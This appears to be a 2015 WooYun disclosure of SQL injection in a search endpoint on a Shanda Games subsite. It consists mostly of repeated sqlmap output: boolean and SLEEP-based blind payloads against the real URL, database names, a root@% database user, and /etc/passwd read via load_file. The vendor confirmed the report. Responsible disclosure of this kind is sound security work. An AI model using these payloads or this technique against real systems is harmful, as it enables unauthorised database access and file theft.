当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096850

漏洞标题:盛大游戏某分站存在sql注入/可读文件

相关厂商:盛大游戏

漏洞作者: Th1nk

提交时间:2015-02-11 22:06

修复时间:2015-03-28 22:08

公开时间:2015-03-28 22:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-11: 细节已通知厂商并且等待厂商处理中
2015-02-12: 厂商已经确认,细节仅向厂商公开
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-03-28: 细节向公众公开

简要描述:

盛大游戏某分站存在sql注入,可读文件

详细说明:

该分站存在注入:
http://mxd.games.sdo.com/

漏洞证明:

注入点:
http://mxd.games.sdo.com/knowledge/search/123*
123处存在注入,搜索型注入。直接上sqlmap

1.png


root权限呢

1.png


读一下文件

sqlmap identified the following injection points with a total of 79 HTTP(s) requests:
---
Place: POST
Parameter: keyword
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyword=1%' AND 4928=4928 AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: keyword
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyword=1%' AND 4928=4928 AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: keyword
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyword=1%' AND 4928=4928 AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5
current user: None
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: keyword
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyword=1%' AND 4928=4928 AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5
current database: None
sqlmap identified the following injection points with a total of 77 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.11
current database: 'KnowLedge_WikiDB'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.11
available databases [6]:
[*] ABC_KnowLedge
[*] information_schema
[*] KnowLedge_WikiDB
[*] KnowLedgeBase
[*] KnowLedgeLog
[*] mysql
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.11
current user: 'root@%'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0.11
select @@basedir: '/'
select @@datadir: '/var/lib/mysql/'
select @@version: '5.1.50-log'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
backsqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5
available databases [6]:
[*] ABC_KnowLedge
[*] information_schema
[*] KnowLedge_WikiDB
[*] KnowLedgeBase
[*] KnowLedgeLog
[*] mysql
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5
current user: 'root@%'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND 6865=6865 AND '%'='
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://mxd.games.sdo.com:80/knowledge/search/1%' AND SLEEP(5) AND '%'='
---
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5
select load_file('/etc/passwd'): 'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\nnews:x:9:13:news:/etc/news:\nuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\ngopher:x:13:30:gopher:/var/gopher:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\nnscd:x:28:28:NSCD Daemon:/:/sbin/nologin\nvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\noprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin\npcap:x:77:77::/var/arpwatch:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\navahi:x:70:70:Avahi daemon:/:/sbin/nologin\nrpc:x:32:32:Portmapper RPC user:/:/sbin/nologin\nmailnull:x:47:47::/var/spool/mqueue:/sbin/nologin\nsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologin\napache:x:48:48:Apache:/var/www:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nhaldaemon:x:68:68:HAL daemon:/:/sbin/nologin\navahi-autoipd:x:100:159:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin\nxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin\nsabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin\nmysql:x:101:160:MySQL server:/var/lib/mysql:/bin/bash\n'
select load_file('/etc/passwd'):
---
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:H

修复方案:

过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-12 09:18

厂商回复:

谢谢报告,立马修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-11 23:02 | 炯炯虾 ( 路人 | Rank:2 漏洞数:1 | 我来自地球)

    忽略